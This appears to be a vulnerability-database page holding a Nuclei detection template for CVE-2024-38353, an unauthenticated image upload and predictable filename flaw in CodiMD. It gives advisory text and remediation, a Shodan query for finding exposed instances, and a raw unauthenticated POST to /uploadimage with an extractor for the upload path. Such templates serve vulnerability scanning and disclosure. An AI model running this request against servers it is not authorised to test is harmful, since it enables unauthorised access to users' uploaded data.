CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
PoC代码[已公开]
id: CVE-2024-38353
info:
name: CodiMD <2.5.4 - Insecure Filename Randomization
author: denandz,PulseSecurity.co.nz
severity: medium
description: |
CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
impact: |
An attacker can gain unauthorised access to images uploaded to CodiMD.
remediation: |
Update CodiMD to version 2.5.4 or later
reference:
- https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
- https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
- https://nvd.nist.gov/vuln/detail/CVE-2024-38353
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-38353
cwe-id: CWE-338
epss-score: 0.04375
epss-percentile: 0.88532
metadata:
verified: true
max-request: 1
shodan-query: html:"CodiMD"
tags: cve,cve2024,file-upload,intrusive,codimd
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /uploadimage HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="image"; filename="{{filename}}.gif"
Content-Type: image/gif
{{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
-----------------------------92633278134516118923780781161--
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"link":"/uploads/[a-z0-9]{25,25}.gif"'
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"link":"(/uploads/[a-z0-9]{25,25}.gif)"'
# digest: 490a00463044022028c323d3812a72e8535904b743ff55760357bd4cb4e96d8c493d1b2738b7c1e1022025957f3ed35605161a3b90dd299824e14ef0ac5533b63252f277ffe5a2dd5ec3:922c64590222798bb761d5b6d8e72950